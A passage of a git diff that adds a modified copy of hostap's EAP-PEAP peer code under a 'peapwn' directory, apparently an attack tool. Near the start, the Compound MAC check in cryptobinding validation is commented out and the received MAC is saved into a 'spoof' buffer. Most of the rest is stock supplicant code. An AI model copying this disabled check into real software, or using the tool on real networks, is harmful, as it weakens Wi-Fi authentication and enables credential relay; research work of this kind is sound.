Received MAC", + pos, SHA1_MAC_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Expected MAC", + mac, SHA1_MAC_LEN); + return -1; + }*/ + + wpa_hexdump(MSG_INFO, "spoof: Received Compound_MAC (not checking)", pos, SHA1_MAC_LEN); + os_memcpy(compound_mac_spoof, pos, SHA1_MAC_LEN); + // -------------------------------------------------------------------- + + wpa_printf(MSG_DEBUG, "EAP-PEAP: Valid cryptobinding TLV received"); + + return 0; +} + + +/** + * eap_tlv_process - Process a received EAP-TLV message and generate a response + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @ret: Return values from EAP request validation and processing + * @req: EAP-TLV request to be processed. The caller must have validated that + * the buffer is large enough to contain full request (hdr->length bytes) and + * that the EAP type is EAP_TYPE_TLV. + * @resp: Buffer to return a pointer to the allocated response message. This + * field should be initialized to %NULL before the call. The value will be + * updated if a response message is generated. The caller is responsible for + * freeing the allocated message. + * @force_failure: Force negotiation to fail + * Returns: 0 on success, -1 on failure + */ +static int eap_tlv_process(struct eap_sm *sm, struct eap_peap_data *data, + struct eap_method_ret *ret, + const struct wpabuf *req, struct wpabuf **resp, + int force_failure) +{ + size_t left, tlv_len; + const u8 *pos; + const u8 *result_tlv = NULL, *crypto_tlv = NULL; + size_t result_tlv_len = 0, crypto_tlv_len = 0; + int tlv_type, mandatory; + + /* Parse TLVs */ + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_TLV, req, &left); + if (pos == NULL) + return -1; + wpa_hexdump(MSG_DEBUG, "EAP-TLV: Received TLVs", pos, left); + while (left >= 4) { + mandatory = !!(pos[0] & 0x80); + tlv_type = WPA_GET_BE16(pos) & 0x3fff; + pos += 2; + tlv_len = WPA_GET_BE16(pos); + pos += 2; + left -= 4; + if (tlv_len > left) { + wpa_printf(MSG_DEBUG, "EAP-TLV: TLV underrun " + "(tlv_len=%lu left=%lu)", + (unsigned long) tlv_len, + (unsigned long) left); + return -1; + } + switch (tlv_type) { + case EAP_TLV_RESULT_TLV: + result_tlv = pos; + result_tlv_len = tlv_len; + break; + case EAP_TLV_CRYPTO_BINDING_TLV: + crypto_tlv = pos; + crypto_tlv_len = tlv_len; + break; + default: + wpa_printf(MSG_DEBUG, "EAP-TLV: Unsupported TLV Type " + "%d%s", tlv_type, + mandatory ? " (mandatory)" : ""); + if (mandatory) { + /* NAK TLV and ignore all TLVs in this packet. + */ + *resp = eap_tlv_build_nak(eap_get_id(req), + tlv_type); + return *resp == NULL ? -1 : 0; + } + /* Ignore this TLV, but process other TLVs */ + break; + } + + pos += tlv_len; + left -= tlv_len; + } + if (left) { + wpa_printf(MSG_DEBUG, "EAP-TLV: Last TLV too short in " + "Request (left=%lu)", (unsigned long) left); + return -1; + } + + /* Process supported TLVs */ + if (crypto_tlv && data->crypto_binding != NO_BINDING) { + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Cryptobinding TLV", + crypto_tlv, crypto_tlv_len); + if (eap_tlv_validate_cryptobinding(sm, data, crypto_tlv - 4, + crypto_tlv_len + 4) < 0) { + if (result_tlv == NULL) + return -1; + force_failure = 1; + crypto_tlv = NULL; /* do not include Cryptobinding TLV + * in response, if the received + * cryptobinding was invalid. */ + } + } else if (!crypto_tlv && data->crypto_binding == REQUIRE_BINDING) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: No cryptobinding TLV"); + return -1; + } + + if (result_tlv) { + int status, resp_status; + wpa_hexdump(MSG_DEBUG, "EAP-TLV: Result TLV", + result_tlv, result_tlv_len); + if (result_tlv_len < 2) { + wpa_printf(MSG_INFO, "EAP-TLV: Too short Result TLV " + "(len=%lu)", + (unsigned long) result_tlv_len); + return -1; + } + status = WPA_GET_BE16(result_tlv); + if (status == EAP_TLV_RESULT_SUCCESS) { + wpa_printf(MSG_INFO, "EAP-TLV: TLV Result - Success " + "- EAP-TLV/Phase2 Completed"); + if (force_failure) { + wpa_printf(MSG_INFO, "EAP-TLV: Earlier failure" + " - force failed Phase 2"); + resp_status = EAP_TLV_RESULT_FAILURE; + ret->decision = DECISION_FAIL; + } else { + resp_status = EAP_TLV_RESULT_SUCCESS; + ret->decision = DECISION_UNCOND_SUCC; + } + } else if (status == EAP_TLV_RESULT_FAILURE) { + wpa_printf(MSG_INFO, "EAP-TLV: TLV Result - Failure"); + resp_status = EAP_TLV_RESULT_FAILURE; + ret->decision = DECISION_FAIL; + } else { + wpa_printf(MSG_INFO, "EAP-TLV: Unknown TLV Result " + "Status %d", status); + resp_status = EAP_TLV_RESULT_FAILURE; + ret->decision = DECISION_FAIL; + } + ret->methodState = METHOD_DONE; + + *resp = eap_tlv_build_result(sm, data, crypto_tlv != NULL, + eap_get_id(req), resp_status); + } + + return 0; +} + + +static struct wpabuf * eap_peapv2_tlv_eap_payload(struct wpabuf *buf) +{ + struct wpabuf *e; + struct eap_tlv_hdr *tlv; + + if (buf == NULL) + return NULL; + + /* Encapsulate EAP packet in EAP-Payload TLV */ + wpa_printf(MSG_DEBUG, "EAP-PEAPv2: Add EAP-Payload TLV"); + e = wpabuf_alloc(sizeof(*tlv) + wpabuf_len(buf)); + if (e == NULL) { + wpa_printf(MSG_DEBUG, "EAP-PEAPv2: Failed to allocate memory " + "for TLV encapsulation"); + wpabuf_free(buf); + return NULL; + } + tlv = wpabuf_put(e, sizeof(*tlv)); + tlv->tlv_type = host_to_be16(EAP_TLV_TYPE_MANDATORY | + EAP_TLV_EAP_PAYLOAD_TLV); + tlv->length = host_to_be16(wpabuf_len(buf)); + wpabuf_put_buf(e, buf); + wpabuf_free(buf); + return e; +} + + +static int eap_peap_phase2_request(struct eap_sm *sm, + struct eap_peap_data *data, + struct eap_method_ret *ret, + struct wpabuf *req, + struct wpabuf **resp) +{ + struct eap_hdr *hdr = wpabuf_mhead(req); + size_t len = be_to_host16(hdr->length); + u8 *pos; + struct eap_method_ret iret; + struct eap_peer_config *config = eap_get_config(sm); + + if (len <= sizeof(struct eap_hdr)) { + wpa_printf(MSG_INFO, "EAP-PEAP: too short " + "Phase 2 request (len=%lu)", (unsigned long) len); + return -1; + } + pos = (u8 *) (hdr + 1); + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase 2 Request: type=%d", *pos); + switch (*pos) { + case EAP_TYPE_IDENTITY: + *resp = eap_sm_buildIdentity(sm, hdr->identifier, 1); + break; + case EAP_TYPE_TLV: + os_memset(&iret, 0, sizeof(iret)); + if (eap_tlv_process(sm, data, &iret, req, resp, + data->phase2_eap_started && + !data->phase2_eap_success)) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return -1; + } + if (iret.methodState == METHOD_DONE || + iret.methodState == METHOD_MAY_CONT) { + ret->methodState = iret.methodState; + ret->decision = iret.decision; + data->phase2_success = 1; + } + break; + case EAP_TYPE_EXPANDED: +#ifdef EAP_TNC + if (data->soh) { + const u8 *epos; + size_t eleft; + + epos = eap_hdr_validate(EAP_VENDOR_MICROSOFT, 0x21, + req, &eleft); + if (epos) { + struct wpabuf *buf; + wpa_printf(MSG_DEBUG, + "EAP-PEAP: SoH EAP Extensions"); + buf = tncc_process_soh_request(data->soh, + epos, eleft); + if (buf) { + *resp = eap_msg_alloc( + EAP_VENDOR_MICROSOFT, 0x21, + wpabuf_len(buf), + EAP_CODE_RESPONSE, + hdr->identifier); + if (*resp == NULL) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return -1; + } + wpabuf_put_buf(*resp, buf); + wpabuf_free(buf); + break; + } + } + } +#endif /* EAP_TNC */ + /* fall through */ + default: + if (data->phase2_type.vendor == EAP_VENDOR_IETF && + data->phase2_type.method == EAP_TYPE_NONE) { + size_t i; + for (i = 0; i < data->num_phase2_types; i++) { + if (data->phase2_types[i].vendor != + EAP_VENDOR_IETF || + data->phase2_types[i].method != *pos) + continue; + + data->phase2_type.vendor = + data->phase2_types[i].vendor; + data->phase2_type.method = + data->phase2_types[i].method; + wpa_printf(MSG_DEBUG, "EAP-PEAP: Selected " + "Phase 2 EAP vendor %d method %d", + data->phase2_type.vendor, + data->phase2_type.method); + break; + } + } + if (*pos != data->phase2_type.method || + *pos == EAP_TYPE_NONE) { + if (eap_peer_tls_phase2_nak(data->phase2_types, + data->num_phase2_types, + hdr, resp)) + return -1; + return 0; + } + + if (data->phase2_priv == NULL) { + data->phase2_method = eap_peer_get_eap_method( + data->phase2_type.vendor, + data->phase2_type.method); + if (data->phase2_method) { + sm->init_phase2 = 1; + data->phase2_priv = + data->phase2_method->init(sm); + sm->init_phase2 = 0; + } + } + if (data->phase2_priv == NULL || data->phase2_method == NULL) { + wpa_printf(MSG_INFO, "EAP-PEAP: failed to initialize " + "Phase 2 EAP method %d", *pos); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return -1; + } + data->phase2_eap_started = 1; + os_memset(&iret, 0, sizeof(iret)); + *resp = data->phase2_method->process(sm, data->phase2_priv, + &iret, req); + if ((iret.methodState == METHOD_DONE || + iret.methodState == METHOD_MAY_CONT) && + (iret.decision == DECISION_UNCOND_SUCC || + iret.decision == DECISION_COND_SUCC)) { + data->phase2_eap_success = 1; + data->phase2_success = 1; + } + break; + } + + if (*resp == NULL && + (config->pending_req_identity || config->pending_req_password || + config->pending_req_otp || config->pending_req_new_password)) { + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = wpabuf_alloc_copy(hdr, len); + } + + return 0; +} + + +static int eap_peap_decrypt(struct eap_sm *sm, struct eap_peap_data *data, + struct eap_method_ret *ret, + const struct eap_hdr *req, + const struct wpabuf *in_data, + struct wpabuf **out_data) +{ + struct wpabuf *in_decrypted = NULL; + int res, skip_change = 0; + struct eap_hdr *hdr, *rhdr; + struct wpabuf *resp = NULL; + size_t len; + + wpa_printf(MSG_DEBUG, "EAP-PEAP: received %lu bytes encrypted data for" + " Phase 2", (unsigned long) wpabuf_len(in_data)); + + if (data->pending_phase2_req) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Pending Phase 2 request - " + "skip decryption and use old data"); + /* Clear TLS reassembly state. */ + eap_peer_tls_reset_input(&data->ssl); + in_decrypted = data->pending_phase2_req; + data->pending_phase2_req = NULL; + skip_change = 1; + goto continue_req; + } + + if (wpabuf_len(in_data) == 0 && sm->workaround && + data->phase2_success) { + /* + * Cisco ACS seems to be using TLS ACK to terminate + * EAP-PEAPv0/GTC. Try to reply with TLS ACK. + */ + wpa_printf(MSG_DEBUG, "EAP-PEAP: Received TLS ACK, but " + "expected data - acknowledge with TLS ACK since " + "Phase 2 has been completed"); + ret->decision = DECISION_COND_SUCC; + ret->methodState = METHOD_DONE; + return 1; + } else if (wpabuf_len(in_data) == 0) { + /* Received TLS ACK - requesting more fragments */ + return eap_peer_tls_encrypt(sm, &data->ssl, EAP_TYPE_PEAP, + data->peap_version, + req->identifier, NULL, out_data); + } + + res = eap_peer_tls_decrypt(sm, &data->ssl, in_data, &in_decrypted); + if (res) + return res; + +continue_req: + wpa_hexdump_buf(MSG_DEBUG, "EAP-PEAP: Decrypted Phase 2 EAP", + in_decrypted); + + hdr = wpabuf_mhead(in_decrypted); + if (wpabuf_len(in_decrypted) == 5 && hdr->code == EAP_CODE_REQUEST && + be_to_host16(hdr->length) == 5 && + eap_get_type(in_decrypted) == EAP_TYPE_IDENTITY) { + /* At least FreeRADIUS seems to send full EAP header with + * EAP Request Identity */ + skip_change = 1; + } + if (wpabuf_len(in_decrypted) >= 5 && hdr->code == EAP_CODE_REQUEST && + eap_get_type(in_decrypted) == EAP_TYPE_TLV) { + skip_change = 1; + } + + if (data->peap_version == 0 && !skip_change) { + struct eap_hdr *nhdr; + struct wpabuf *nmsg = wpabuf_alloc(sizeof(struct eap_hdr) + + wpabuf_len(in_decrypted)); + if (nmsg == NULL) { + wpabuf_free(in_decrypted); + return 0; + } + nhdr = wpabuf_put(nmsg, sizeof(*nhdr)); + wpabuf_put_buf(nmsg, in_decrypted); + nhdr->code = req->code; + nhdr->identifier = req->identifier; + nhdr->length = host_to_be16(sizeof(struct eap_hdr) + + wpabuf_len(in_decrypted)); + + wpabuf_free(in_decrypted); + in_decrypted = nmsg; + } + + if (data->peap_version >= 2) { + struct eap_tlv_hdr *tlv; + struct wpabuf *nmsg; + + if (wpabuf_len(in_decrypted) < sizeof(*tlv) + sizeof(*hdr)) { + wpa_printf(MSG_INFO, "EAP-PEAPv2: Too short Phase 2 " + "EAP TLV"); + wpabuf_free(in_decrypted); + return 0; + } + tlv = wpabuf_mhead(in_decrypted); + if ((be_to_host16(tlv->tlv_type) & 0x3fff) != + EAP_TLV_EAP_PAYLOAD_TLV) { + wpa_printf(MSG_INFO, "EAP-PEAPv2: Not an EAP TLV"); + wpabuf_free(in_decrypted); + return 0; + } + if (sizeof(*tlv) + be_to_host16(tlv->length) > + wpabuf_len(in_decrypted)) { + wpa_printf(MSG_INFO, "EAP-PEAPv2: Invalid EAP TLV " + "length"); + wpabuf_free(in_decrypted); + return 0; + } + hdr = (struct eap_hdr *) (tlv + 1); + if (be_to_host16(hdr->length) > be_to_host16(tlv->length)) { + wpa_printf(MSG_INFO, "EAP-PEAPv2: No room for full " + "EAP packet in EAP TLV"); + wpabuf_free(in_decrypted); + return 0; + } + + nmsg = wpabuf_alloc(be_to_host16(hdr->length)); + if (nmsg == NULL) { + wpabuf_free(in_decrypted); + return 0; + } + + wpabuf_put_data(nmsg, hdr, be_to_host16(hdr->length)); + wpabuf_free(in_decrypted); + in_decrypted = nmsg; + } + + hdr = wpabuf_mhead(in_decrypted); + if (wpabuf_len(in_decrypted) < sizeof(*hdr)) { + wpa_printf(MSG_INFO, "EAP-PEAP: Too short Phase 2 " + "EAP frame (len=%lu)", + (unsigned long) wpabuf_len(in_decrypted)); + wpabuf_free(in_decrypted); + return 0; + } + len = be_to_host16(hdr->length); + if (len > wpabuf_len(in_decrypted)) { + wpa_printf(MSG_INFO, "EAP-PEAP: Length mismatch in " + "Phase 2 EAP frame (len=%lu hdr->length=%lu)", + (unsigned long) wpabuf_len(in_decrypted), + (unsigned long) len); + wpabuf_free(in_decrypted); + return 0; + } + if (len < wpabuf_len(in_decrypted)) { + wpa_printf(MSG_INFO, "EAP-PEAP: Odd.. Phase 2 EAP header has " + "shorter length than full decrypted data " + "(%lu < %lu)", + (unsigned long) len, + (unsigned long) wpabuf_len(in_decrypted)); + } + wpa_printf(MSG_DEBUG, "EAP-PEAP: received Phase 2: code=%d " + "identifier=%d length=%lu", hdr->code, hdr->identifier, + (unsigned long) len); + switch (hdr->code) { + case EAP_CODE_REQUEST: + if (eap_peap_phase2_request(sm, data, ret, in_decrypted, + &resp)) { + wpabuf_free(in_decrypted); + wpa_printf(MSG_INFO, "EAP-PEAP: Phase2 Request " + "processing failed"); + return 0; + } + break; + case EAP_CODE_SUCCESS: + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase 2 Success"); + if (data->peap_version == 1) { + /* EAP-Success within TLS tunnel is used to indicate + * shutdown of the TLS channel. The authentication has + * been completed. */ + if (data->phase2_eap_started && + !data->phase2_eap_success) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase 2 " + "Success used to indicate success, " + "but Phase 2 EAP was not yet " + "completed successfully"); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + wpabuf_free(in_decrypted); + return 0; + } + wpa_printf(MSG_DEBUG, "EAP-PEAP: Version 1 - " + "EAP-Success within TLS tunnel - " + "authentication completed"); + ret->decision = DECISION_UNCOND_SUCC; + ret->methodState = METHOD_DONE; + data->phase2_success = 1; + if (data->peap_outer_success == 2) { + wpabuf_free(in_decrypted); + wpa_printf(MSG_DEBUG, "EAP-PEAP: Use TLS ACK " + "to finish authentication"); + return 1; + } else if (data->peap_outer_success == 1) { + /* Reply with EAP-Success within the TLS + * channel to complete the authentication. */ + resp = wpabuf_alloc(sizeof(struct eap_hdr)); + if (resp) { + rhdr = wpabuf_put(resp, sizeof(*rhdr)); + rhdr->code = EAP_CODE_SUCCESS; + rhdr->identifier = hdr->identifier; + rhdr->length = + host_to_be16(sizeof(*rhdr)); + } + } else { + /* No EAP-Success expected for Phase 1 (outer, + * unencrypted auth), so force EAP state + * machine to SUCCESS state. */ + sm->peap_done = TRUE; + } + } else { + /* FIX: ? */ + } + break; + case EAP_CODE_FAILURE: + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase 2 Failure"); + ret->decision = DECISION_FAIL; + ret->methodState = METHOD_MAY_CONT; + ret->allowNotifications = FALSE; + /* Reply with EAP-Failure within the TLS channel to complete + * failure reporting. */ + resp = wpabuf_alloc(sizeof(struct eap_hdr)); + if (resp) { + rhdr = wpabuf_put(resp, sizeof(*rhdr)); + rhdr->code = EAP_CODE_FAILURE; + rhdr->identifier = hdr->identifier; + rhdr->length = host_to_be16(sizeof(*rhdr)); + } + break; + default: + wpa_printf(MSG_INFO, "EAP-PEAP: Unexpected code=%d in " + "Phase 2 EAP header", hdr->code); + break; + } + + wpabuf_free(in_decrypted); + + if (resp) { + int skip_change2 = 0; + struct wpabuf *rmsg, buf; + + wpa_hexdump_buf_key(MSG_DEBUG, + "EAP-PEAP: Encrypting Phase 2 data", resp); + /* PEAP version changes */ + if (data->peap_version >= 2) { + resp = eap_peapv2_tlv_eap_payload(resp); + if (resp == NULL) + return -1; + } + if (wpabuf_len(resp) >= 5 && + wpabuf_head_u8(resp)[0] == EAP_CODE_RESPONSE && + eap_get_type(resp) == EAP_TYPE_TLV) + skip_change2 = 1; + rmsg = resp; + if (data->peap_version == 0 && !skip_change2) { + wpabuf_set(&buf, wpabuf_head_u8(resp) + + sizeof(struct eap_hdr), + wpabuf_len(resp) - sizeof(struct eap_hdr)); + rmsg = &buf; + } + + if (eap_peer_tls_encrypt(sm, &data->ssl, EAP_TYPE_PEAP, + data->peap_version, req->identifier, + rmsg, out_data)) { + wpa_printf(MSG_INFO, "EAP-PEAP: Failed to encrypt " + "a Phase 2 frame"); + } + wpabuf_free(resp); + } + + return 0; +} + + +static struct wpabuf * eap_peap_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + const struct eap_hdr *req; + size_t left; + int res; + u8 flags, id; + struct wpabuf *resp; + const u8 *pos; + struct eap_peap_data *data = priv; + + pos = eap_peer_tls_process_init(sm, &data->ssl, EAP_TYPE_PEAP, ret, + reqData, &left, &flags); + if (pos == NULL) + return NULL; + req = wpabuf_head(reqData); + id = req->identifier; + + if (flags & EAP_TLS_FLAGS_START) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Start (server ver=%d, own " + "ver=%d)", flags & EAP_TLS_VERSION_MASK, + data->peap_version); + if ((flags & EAP_TLS_VERSION_MASK) < data->peap_version) + data->peap_version = flags & EAP_TLS_VERSION_MASK; + if (data->force_peap_version >= 0 && + data->force_peap_version != data->peap_version) { + wpa_printf(MSG_WARNING, "EAP-PEAP: Failed to select " + "forced PEAP version %d", + data->force_peap_version); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + ret->allowNotifications = FALSE; + return NULL; + } + wpa_printf(MSG_DEBUG, "EAP-PEAP: Using PEAP version %d", + data->peap_version); + left = 0; /* make sure that this frame is empty, even though it + * should always be, anyway */ + } + + resp = NULL; + if (tls_connection_established(sm->ssl_ctx, data->ssl.conn) && + !data->resuming) { + struct wpabuf msg; + wpabuf_set(&msg, pos, left); + res = eap_peap_decrypt(sm, data, ret, req, &msg, &resp); + } else { + res = eap_peer_tls_process_helper(sm, &data->ssl, + EAP_TYPE_PEAP, + data->peap_version, id, pos, + left, &resp); + + if (tls_connection_established(sm->ssl_ctx, data->ssl.conn)) { + char *label; + wpa_printf(MSG_DEBUG, + "EAP-PEAP: TLS done, proceed to Phase 2"); + os_free(data->key_data); + /* draft-josefsson-ppext-eap-tls-eap-05.txt + * specifies that PEAPv1 would use "client PEAP + * encryption" as the label. However, most existing + * PEAPv1 implementations seem to be using the old + * label, "client EAP encryption", instead. Use the old + * label by default, but allow it to be configured with + * phase1 parameter peaplabel=1. */ + if (data->peap_version > 1 || data->force_new_label) + label = "client PEAP encryption"; + else + label = "client EAP encryption"; + wpa_printf(MSG_DEBUG, "EAP-PEAP: using label '%s' in " + "key derivation", label); + data->key_data = + eap_peer_tls_derive_key(sm, &data->ssl, label, + EAP_TLS_KEY_LEN); + if (data->key_data) { + wpa_hexdump_key(MSG_DEBUG, + "EAP-PEAP: Derived key", + data->key_data, + EAP_TLS_KEY_LEN); + } else { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Failed to " + "derive key"); + } + + os_free(data->session_id); + data->session_id = + eap_peer_tls_derive_session_id(sm, &data->ssl, + EAP_TYPE_PEAP, + &data->id_len); + if (data->session_id) { + wpa_hexdump(MSG_DEBUG, + "EAP-PEAP: Derived Session-Id", + data->session_id, data->id_len); + } else { + wpa_printf(MSG_ERROR, "EAP-PEAP: Failed to " + "derive Session-Id"); + } + + if (sm->workaround && data->resuming) { + /* + * At least few RADIUS servers (Aegis v1.1.6; + * but not v1.1.4; and Cisco ACS) seem to be + * terminating PEAPv1 (Aegis) or PEAPv0 (Cisco + * ACS) session resumption with outer + * EAP-Success. This does not seem to follow + * draft-josefsson-pppext-eap-tls-eap-05.txt + * section 4.2, so only allow this if EAP + * workarounds are enabled. + */ + wpa_printf(MSG_DEBUG, "EAP-PEAP: Workaround - " + "allow outer EAP-Success to " + "terminate PEAP resumption"); + ret->decision = DECISION_COND_SUCC; + data->phase2_success = 1; + } + + data->resuming = 0; + } + + if (res == 2) { + struct wpabuf msg; + /* + * Application data included in the handshake message. + */ + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = resp; + resp = NULL; + wpabuf_set(&msg, pos, left); + res = eap_peap_decrypt(sm, data, ret, req, &msg, + &resp); + } + } + + if (ret->methodState == METHOD_DONE) { + ret->allowNotifications = FALSE; + } + + if (res == 1) { + wpabuf_free(resp); + return eap_peer_tls_build_ack(id, EAP_TYPE_PEAP, + data->peap_version); + } + + return resp; +} + + +static Boolean eap_peap_has_reauth_data(struct eap_sm *sm, void *priv) +{ + struct eap_peap_data *data = priv; + return tls_connection_established(sm->ssl_ctx, data->ssl.conn) && + data->phase2_success; +} + + +static void eap_peap_deinit_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_peap_data *data = priv; + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = NULL; + data->crypto_binding_used = 0; +} + + +static void * eap_peap_init_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_peap_data *data = priv; + os_free(data->key_data); + data->key_data = NULL; + os_free(data->session_id); + data->session_id = NULL; + if (eap_peer_tls_reauth_init(sm, &data->ssl)) { + os_free(data); + return NULL; + } + if (data->phase2_priv && data->phase2_method && + data->phase2_method->init_for_reauth) + data->phase2_method->init_for_reauth(sm, data->phase2_priv); + data->phase2_success = 0; + data->phase2_eap_success = 0; + data->phase2_eap_started = 0; + data->resuming = 1; + data->reauth = 1; + sm->peap_done = FALSE; + return priv; +} + + +static int eap_peap_get_status(struct eap_sm *sm, void *priv, char *buf, + size_t buflen, int verbose) +{ + struct eap_peap_data *data = priv; + int len, ret; + + len = eap_peer_tls_status(sm, &data->ssl, buf, buflen, verbose); + if (data->phase2_method) { + ret = os_snprintf(buf + len, buflen - len, + "EAP-PEAPv%d Phase2 method=%s\n", + data->peap_version, + data->phase2_method->name); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + } + return len; +} + + +static Boolean eap_peap_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_peap_data *data = priv; + return data->key_data != NULL && data->phase2_success; +} + + +static u8 * eap_peap_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_peap_data *data = priv; + u8 *key; + + if (data->key_data == NULL || !data->phase2_success) + return NULL; + + key = os_malloc(EAP_TLS_KEY_LEN); + if (key == NULL) + return NULL; + + *len = EAP_TLS_KEY_LEN; + + if (data->crypto_binding_used) { + u8 csk[128]; + /* + * Note: It looks like Microsoft implementation requires null + * termination for this label while the one used for deriving + * IPMK|CMK did not use null termination. + */ + if (peap_prfplus(data->peap_version, data->ipmk, 40, + "Session Key Generating Function", + (u8 *) "\00", 1, csk, sizeof(csk)) < 0) { + os_free(key); + return NULL; + } + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: CSK", csk, sizeof(csk)); + os_memcpy(key, csk, EAP_TLS_KEY_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Derived key", + key, EAP_TLS_KEY_LEN); + } else + os_memcpy(key, data->key_data, EAP_TLS_KEY_LEN); + + return key; +} + + +static u8 * eap_peap_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_peap_data *data = priv; + u8 *id; + + if (data->session_id == NULL || !data->phase2_success) + return NULL; + + id = os_malloc(data->id_len); + if (id == NULL) + return NULL; + + *len = data->id_len; + os_memcpy(id, data->session_id, data->id_len); + + return id; +} + + +int eap_peer_peap_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_PEAP, "PEAP"); + if (eap == NULL) + return -1; + + eap->init = eap_peap_init; + eap->deinit = eap_peap_deinit; + eap->process = eap_peap_process; + eap->isKeyAvailable = eap_peap_isKeyAvailable; + eap->getKey = eap_peap_getKey; + eap->get_status = eap_peap_get_status; + eap->has_reauth_data = eap_peap_has_reauth_data; + eap->deinit_for_reauth = eap_peap_deinit_for_reauth; + eap->init_for_reauth = eap_peap_init_for_reauth; + eap->getSessionId = eap_peap_get_session_id; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_proxy.h b/peapwn/mods/hostap/src/eap_peer/eap_proxy.h new file mode 100644 index 000000000..23cdbe698 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_proxy.h @@ -0,0 +1,49 @@ +/* + * EAP proxy definitions + * Copyright (c) 2011-2013 Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_PROXY_H +#define EAP_PROXY_H + +struct eap_proxy_sm; +struct eapol_callbacks; +struct eap_sm; +struct eap_peer_config; + +enum eap_proxy_status { + EAP_PROXY_FAILURE = 0x00, + EAP_PROXY_SUCCESS +}; + +struct eap_proxy_sm * +eap_proxy_init(void *eapol_ctx, struct eapol_callbacks *eapol_cb, + void *msg_ctx); + +void eap_proxy_deinit(struct eap_proxy_sm *eap_proxy); + +int eap_proxy_key_available(struct eap_proxy_sm *sm); + +const u8 * eap_proxy_get_eapKeyData(struct eap_proxy_sm *sm, size_t *len); + +struct wpabuf * eap_proxy_get_eapRespData(struct eap_proxy_sm *sm); + +int eap_proxy_sm_step(struct eap_proxy_sm *sm, struct eap_sm *eap_sm); + +enum eap_proxy_status +eap_proxy_packet_update(struct eap_proxy_sm *eap_proxy, u8 *eapReqData, + int eapReqDataLen); + +int eap_proxy_sm_get_status(struct eap_proxy_sm *sm, char *buf, size_t buflen, + int verbose); + +int eap_proxy_get_imsi(struct eap_proxy_sm *eap_proxy, char *imsi_buf, + size_t *imsi_len); + +int eap_proxy_notify_config(struct eap_proxy_sm *sm, + struct eap_peer_config *config); + +#endif /* EAP_PROXY_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/eap_proxy_dummy.c b/peapwn/mods/hostap/src/eap_peer/eap_proxy_dummy.c new file mode 100644 index 000000000..d84f01234 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_proxy_dummy.c @@ -0,0 +1,77 @@ +/* + * EAP proxy - dummy implementation for build testing + * Copyright (c) 2013 Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_proxy.h" + +struct eap_proxy_sm * +eap_proxy_init(void *eapol_ctx, struct eapol_callbacks *eapol_cb, + void *msg_ctx) +{ + return NULL; +} + + +void eap_proxy_deinit(struct eap_proxy_sm *eap_proxy) +{ +} + + +int eap_proxy_key_available(struct eap_proxy_sm *sm) +{ + return 0; +} + + +const u8 * eap_proxy_get_eapKeyData(struct eap_proxy_sm *sm, size_t *len) +{ + return NULL; +} + + +struct wpabuf * eap_proxy_get_eapRespData(struct eap_proxy_sm *sm) +{ + return NULL; +} + + +int eap_proxy_sm_step(struct eap_proxy_sm *sm, struct eap_sm *eap_sm) +{ + return 0; +} + + +enum eap_proxy_status +eap_proxy_packet_update(struct eap_proxy_sm *eap_proxy, u8 *eapReqData, + int eapReqDataLen) +{ + return EAP_PROXY_FAILURE; +} + + +int eap_proxy_sm_get_status(struct eap_proxy_sm *sm, char *buf, size_t buflen, + int verbose) +{ + return 0; +} + + +int eap_proxy_get_imsi(struct eap_proxy_sm *eap_proxy, char *imsi_buf, + size_t *imsi_len) +{ + return -1; +} + + +int eap_proxy_notify_config(struct eap_proxy_sm *sm, + struct eap_peer_config *config) +{ + return -1; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_psk.c b/peapwn/mods/hostap/src/eap_peer/eap_psk.c new file mode 100644 index 000000000..cd0e3f966 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_psk.c @@ -0,0 +1,502 @@ +/* + * EAP peer method: EAP-PSK (RFC 4764) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * Note: EAP-PSK is an EAP authentication method and as such, completely + * different from WPA-PSK. This file is not needed for WPA-PSK functionality. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/aes_wrap.h" +#include "crypto/random.h" +#include "eap_common/eap_psk_common.h" +#include 